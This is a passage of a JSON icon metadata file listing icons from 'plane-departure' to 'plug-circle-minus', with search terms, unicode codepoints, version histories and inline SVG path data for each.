    "free": ["solid"]
  },
  "plane-departure": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6eb"],
        "secondary": ["10f5b0"]
      }
    },
    "changes": [
      "5.1.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "aeroplane",
        "airplane",
        "airplane departure",
        "airport",
        "check-in",
        "departing",
        "departure",
        "departures",
        "destination",
        "fly",
        "location",
        "mode",
        "take off",
        "taking off",
        "travel",
        "trip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5b0",
    "label": "Plane Departure",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M381 114.9L186.1 41.8c-16.7-6.2-35.2-5.3-51.1 2.7L89.1 67.4C78 73 77.2 88.5 87.6 95.2l146.9 94.5L136 240 77.8 214.1c-8.7-3.9-18.8-3.7-27.3 .6L18.3 230.8c-9.3 4.7-11.8 16.8-5 24.7l73.1 85.3c6.1 7.1 15 11.2 24.3 11.2H248.4c5 0 9.9-1.2 14.3-3.4L535.6 212.2c46.5-23.3 82.5-63.3 100.8-112C645.9 75 627.2 48 600.2 48H542.8c-20.2 0-40.2 4.8-58.2 14L381 114.9zM0 480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M381 114.9L186.1 41.8c-16.7-6.2-35.2-5.3-51.1 2.7L89.1 67.4C78 73 77.2 88.5 87.6 95.2l146.9 94.5L136 240 77.8 214.1c-8.7-3.9-18.8-3.7-27.3 .6L18.3 230.8c-9.3 4.7-11.8 16.8-5 24.7l73.1 85.3c6.1 7.1 15 11.2 24.3 11.2H248.4c5 0 9.9-1.2 14.3-3.4L535.6 212.2c46.5-23.3 82.5-63.3 100.8-112C645.9 75 627.2 48 600.2 48H542.8c-20.2 0-40.2 4.8-58.2 14L381 114.9zM0 480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "plane-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane",
        "airport",
        "closed",
        "flight",
        "fly",
        "lockdown",
        "quarantine",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "e558",
    "label": "Plane Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 93.7C192 59.5 221 0 256 0c36 0 64 59.5 64 93.7v84.6l101.8 58.2C418 247.6 416 259.6 416 272v24.6c-17.9 10.4-30.3 29.1-31.8 50.9L320 329.1V400l57.6 43.2c4 3 6.4 7.8 6.4 12.8v24 18c0 7.8-6.3 14-14 14c-1.3 0-2.6-.2-3.9-.5L256 480 145.9 511.5c-1.3 .4-2.6 .5-3.9 .5c-7.8 0-14-6.3-14-14V456c0-5 2.4-9.8 6.4-12.8L192 400l0-70.9-171.6 49C10.2 381.1 0 373.4 0 362.8V297.3c0-5.7 3.1-11 8.1-13.9L192 178.3V93.7zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 93.7C192 59.5 221 0 256 0c36 0 64 59.5 64 93.7v84.6l101.8 58.2C418 247.6 416 259.6 416 272v24.6c-17.9 10.4-30.3 29.1-31.8 50.9L320 329.1V400l57.6 43.2c4 3 6.4 7.8 6.4 12.8v24 18c0 7.8-6.3 14-14 14c-1.3 0-2.6-.2-3.9-.5L256 480 145.9 511.5c-1.3 .4-2.6 .5-3.9 .5c-7.8 0-14-6.3-14-14V456c0-5 2.4-9.8 6.4-12.8L192 400l0-70.9-171.6 49C10.2 381.1 0 373.4 0 362.8V297.3c0-5.7 3.1-11 8.1-13.9L192 178.3V93.7zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z"
      }
    },
    "free": ["solid"]
  },
  "plane-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e069"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane mode",
        "airport",
        "canceled",
        "covid-19",
        "delayed",
        "grounded",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "e069",
    "label": "Plane Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M514.3 192c34.2 0 93.7 29 93.7 64c0 36-59.5 64-93.7 64H440.6L630.8 469.1c10.4 8.2 12.3 23.3 4.1 33.7s-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2S28.4-3.1 38.8 5.1L238.1 161.3 197.8 20.4C194.9 10.2 202.6 0 213.2 0h56.2c11.5 0 22.1 6.2 27.8 16.1L397.7 192l116.6 0zM41.5 128.7l321 252.9L297.2 495.9c-5.7 10-16.3 16.1-27.8 16.1l-56.2 0c-10.6 0-18.3-10.2-15.4-20.4l49-171.6H144l-43.2 57.6c-3 4-7.8 6.4-12.8 6.4H46c-7.8 0-14-6.3-14-14c0-1.3 .2-2.6 .5-3.9L64 256 32.5 145.9c-.4-1.3-.5-2.6-.5-3.9c0-6.2 4-11.4 9.5-13.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M514.3 192c34.2 0 93.7 29 93.7 64c0 36-59.5 64-93.7 64H440.6L630.8 469.1c10.4 8.2 12.3 23.3 4.1 33.7s-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2S28.4-3.1 38.8 5.1L238.1 161.3 197.8 20.4C194.9 10.2 202.6 0 213.2 0h56.2c11.5 0 22.1 6.2 27.8 16.1L397.7 192l116.6 0zM41.5 128.7l321 252.9L297.2 495.9c-5.7 10-16.3 16.1-27.8 16.1l-56.2 0c-10.6 0-18.3-10.2-15.4-20.4l49-171.6H144l-43.2 57.6c-3 4-7.8 6.4-12.8 6.4H46c-7.8 0-14-6.3-14-14c0-1.3 .2-2.6 .5-3.9L64 256 32.5 145.9c-.4-1.3-.5-2.6-.5-3.9c0-6.2 4-11.4 9.5-13.3z"
      }
    },
    "free": ["solid"]
  },
  "plane-up": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane",
        "airport",
        "internet",
        "signal",
        "sky",
        "wifi",
        "wireless"
      ]
    },
    "styles": ["solid"],
    "unicode": "e22d",
    "label": "Plane Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 93.7C192 59.5 221 0 256 0c36 0 64 59.5 64 93.7l0 66.3L497.8 278.5c8.9 5.9 14.2 15.9 14.2 26.6v56.7c0 10.9-10.7 18.6-21.1 15.2L320 320v80l57.6 43.2c4 3 6.4 7.8 6.4 12.8v42c0 7.8-6.3 14-14 14c-1.3 0-2.6-.2-3.9-.5L256 480 145.9 511.5c-1.3 .4-2.6 .5-3.9 .5c-7.8 0-14-6.3-14-14V456c0-5 2.4-9.8 6.4-12.8L192 400V320L21.1 377C10.7 380.4 0 372.7 0 361.8V305.1c0-10.7 5.3-20.7 14.2-26.6L192 160V93.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 93.7C192 59.5 221 0 256 0c36 0 64 59.5 64 93.7l0 66.3L497.8 278.5c8.9 5.9 14.2 15.9 14.2 26.6v56.7c0 10.9-10.7 18.6-21.1 15.2L320 320v80l57.6 43.2c4 3 6.4 7.8 6.4 12.8v42c0 7.8-6.3 14-14 14c-1.3 0-2.6-.2-3.9-.5L256 480 145.9 511.5c-1.3 .4-2.6 .5-3.9 .5c-7.8 0-14-6.3-14-14V456c0-5 2.4-9.8 6.4-12.8L192 400V320L21.1 377C10.7 380.4 0 372.7 0 361.8V305.1c0-10.7 5.3-20.7 14.2-26.6L192 160V93.7z"
      }
    },
    "free": ["solid"]
  },
  "plant-wilt": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drought", "planting", "vegetation", "wilt"]
    },
    "styles": ["solid"],
    "unicode": "e5aa",
    "label": "Plant Wilt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 120c0-30.9 25.1-56 56-56s56 25.1 56 56v13c-29.3 10-48 34.5-48 70.1c0 27.9 25.3 74.8 66 111.6c3.8 3.5 8.9 5.3 14 5.3s10.2-1.8 14-5.3c40.7-36.8 66-83.7 66-111.6c0-35.6-18.7-60.2-48-70.1V120C464 53.7 410.3 0 344 0S224 53.7 224 120v21.8C207.3 133 188.2 128 168 128c-66.3 0-120 53.7-120 120v13c-29.3 10-48 34.5-48 70.1C0 359 25.3 405.9 66 442.7c3.8 3.5 8.9 5.3 14 5.3s10.2-1.8 14-5.3c40.7-36.8 66-83.7 66-111.6c0-35.6-18.7-60.2-48-70.1V248c0-30.9 25.1-56 56-56s56 25.1 56 56v32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V280 248 120z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 120c0-30.9 25.1-56 56-56s56 25.1 56 56v13c-29.3 10-48 34.5-48 70.1c0 27.9 25.3 74.8 66 111.6c3.8 3.5 8.9 5.3 14 5.3s10.2-1.8 14-5.3c40.7-36.8 66-83.7 66-111.6c0-35.6-18.7-60.2-48-70.1V120C464 53.7 410.3 0 344 0S224 53.7 224 120v21.8C207.3 133 188.2 128 168 128c-66.3 0-120 53.7-120 120v13c-29.3 10-48 34.5-48 70.1C0 359 25.3 405.9 66 442.7c3.8 3.5 8.9 5.3 14 5.3s10.2-1.8 14-5.3c40.7-36.8 66-83.7 66-111.6c0-35.6-18.7-60.2-48-70.1V248c0-30.9 25.1-56 56-56s56 25.1 56 56v32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V280 248 120z"
      }
    },
    "free": ["solid"]
  },
  "plate-wheat": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bowl", "hunger", "rations", "wheat"]
    },
    "styles": ["solid"],
    "unicode": "e55a",
    "label": "Plate Wheat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 32c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48c0-8.8 7.2-16 16-16zM56 64h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24s10.7-24 24-24zM24 136H136c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24zm8 96c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24zM272 48c0-8.8 7.2-16 16-16c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48zM400 32c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48c0-8.8 7.2-16 16-16zm80 160v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM352 176c8.8 0 16 7.2 16 16v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80zm-96 16v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM3.5 347.6C1.6 332.9 13 320 27.8 320H484.2c14.8 0 26.2 12.9 24.4 27.6C502.3 397.8 464.2 437 416 446v2c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32v-2c-48.2-9-86.3-48.2-92.5-98.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 32c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48c0-8.8 7.2-16 16-16zM56 64h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24s10.7-24 24-24zM24 136H136c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24zm8 96c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24zM272 48c0-8.8 7.2-16 16-16c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48zM400 32c44.2 0 80 35.8 80 80v16c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80V48c0-8.8 7.2-16 16-16zm80 160v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM352 176c8.8 0 16 7.2 16 16v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80zm-96 16v16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16V256c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM3.5 347.6C1.6 332.9 13 320 27.8 320H484.2c14.8 0 26.2 12.9 24.4 27.6C502.3 397.8 464.2 437 416 446v2c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32v-2c-48.2-9-86.3-48.2-92.5-98.4z"
      }
    },
    "free": ["solid"]
  },
  "play": {
    "aliases": {
      "unicodes": {
        "composite": ["25b6"],
        "secondary": ["10f04b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "audio",
        "music",
        "play",
        "play button",
        "playing",
        "right",
        "sound",
        "start",
        "triangle",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f04b",
    "label": "Play",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M73 39c-14.8-9.1-33.4-9.4-48.5-.9S0 62.6 0 80V432c0 17.4 9.4 33.4 24.5 41.9s33.7 8.1 48.5-.9L361 297c14.3-8.7 23-24.2 23-41s-8.7-32.2-23-41L73 39z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M73 39c-14.8-9.1-33.4-9.4-48.5-.9S0 62.6 0 80V432c0 17.4 9.4 33.4 24.5 41.9s33.7 8.1 48.5-.9L361 297c14.3-8.7 23-24.2 23-41s-8.7-32.2-23-41L73 39z"
      }
    },
    "free": ["solid"]
  },
  "playstation": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3df",
    "label": "PlayStation",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z"
      }
    },
    "free": ["brands"]
  },
  "plug": {
    "aliases": {
      "unicodes": {
        "composite": ["1f50c"],
        "secondary": ["10f1e6"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "connect",
        "electric",
        "electric plug",
        "electricity",
        "online",
        "plug",
        "power"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1e6",
    "label": "Plug",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8C297 398 352 333.4 352 256V224c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8C297 398 352 333.4 352 256V224c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-bolt": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["electric", "electricity", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e55b",
    "label": "Plug Circle Bolt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm47.9-225c4.3 3.7 5.4 9.9 2.6 14.9L452.4 356H488c5.2 0 9.8 3.3 11.4 8.2s-.1 10.3-4.2 13.4l-96 72c-4.5 3.4-10.8 3.2-15.1-.6s-5.4-9.9-2.6-14.9L411.6 380H376c-5.2 0-9.8-3.3-11.4-8.2s.1-10.3 4.2-13.4l96-72c4.5-3.4 10.8-3.2 15.1 .6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm47.9-225c4.3 3.7 5.4 9.9 2.6 14.9L452.4 356H488c5.2 0 9.8 3.3 11.4 8.2s-.1 10.3-4.2 13.4l-96 72c-4.5 3.4-10.8 3.2-15.1-.6s-5.4-9.9-2.6-14.9L411.6 380H376c-5.2 0-9.8-3.3-11.4-8.2s.1-10.3 4.2-13.4l96-72c4.5-3.4 10.8-3.2 15.1 .6z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "electric",
        "electricity",
        "not affected",
        "ok",
        "okay",
        "plug",
        "power"
      ]
    },
    "styles": ["solid"],
    "unicode": "e55c",
    "label": "Plug Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L416 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L416 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "electric", "electricity", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e55d",
    "label": "Plug Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM432 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "plug-circle-minus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["electric", "electricity", "plug", "power"]
    },
    "styles": ["solid"],
    "unicode": "e55e",
    "label": "Plug Circle Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 0C78.3 0 64 14.3 64 32v96h64V32c0-17.7-14.3-32-32-32zM288 0c-17.7 0-32 14.3-32 32v96h64V32c0-17.7-14.3-32-32-32zM32 160c-17.7 0-32 14.3-32 32s14.3 32 32 32v32c0 77.4 55 142 128 156.8V480c0 17.7 14.3 32 32 32s32-14.3 32-32V412.8c12.3-2.5 24.1-6.4 35.1-11.5c-2.1-10.8-3.1-21.9-3.1-33.3c0-80.3 53.8-148 127.3-169.2c.5-2.2 .7-4.5 .7-6.8c0-17.7-14.3-32-32-32H32zM576 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-64 0c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16H496c8.8 0 16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
